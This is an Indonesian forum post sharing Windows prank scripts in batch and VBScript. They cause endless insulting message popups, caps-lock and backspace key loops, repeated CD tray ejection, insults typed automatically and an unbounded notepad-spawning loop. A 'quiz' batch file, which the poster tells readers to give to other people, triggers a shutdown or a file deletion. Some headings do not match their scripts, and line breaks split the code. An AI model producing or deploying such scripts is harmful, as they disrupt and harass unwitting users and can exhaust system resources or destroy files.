MESSAGES YG NONGOL TERUS MENERUS SECARA OTOMATIS:
[/quote]
Quote:
@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
==> save nama script diatas dg ekstensi *.bat
BIKIN SHUTDOWN + MESSAGES:
|
Quote:
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
==> save nama script diatas dg ekstensi *.vbs
BUKA TUTUP CD/DVD SECARA OTOMATIS:
|
Quote:
Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
==> save nama script diatas dg ekstensi *.vbs
BIKIN VB SCRIPT NONGOL TERUS MENERUS SECARA OTOMATIS:
|
Quote:
MsgBox "kembali ke menu
sebelumnya"
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
==> save nama script diatas dg ekstensi *.vbs
OTOMATIS NGETIK "LU JELEK BANGET SIH" DI NOTEPAD ATAU M.WORD:
|
Quote:
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek
banget sih!!!"
loop
==> save nama script diatas dg ekstensi *.vbs
MEMBUKA NOTEPAD TERUS MENERUS:
|
Quote:
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
==> save nama script diatas dg ekstensi *.BAT
OTOMATIS BUKA NOTEPAD LALU NGETIK "APA YG LO MAU":
|
Quote:
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell =
WScript.CreateObject
("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "li"
WScript.Sleep 50
WshShell.SendKeys " y"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "
==> save nama script diatas dg ekstensi *.vbs
BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2:
|
Quote:
@echo off
title quiz hari ini 
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
==> nah script diatas save jadi quiz.bat,,lalu kasih ke anak orang...
|
[quote]
Cara menjalankan program jahil tersebut adalah dengan klik 2x pada file notepad yang anda buat tadi
cara untuk menghentikan script tersebut adalah sbb : buka task manager(CTRL+ALT+DEL)�>applications�>Lihat aplikasi yang dijalankan td�>klik kanan�>Go To Process�>end process pada baris yang disorot
sumber:
http://www.gururu*paindonesia...com/...n-script-jahil
[/spoiler][spoiler=open this] for
TS:
kalau yang ISO kasih

, yang belum ISO kasih

aja
maap kalau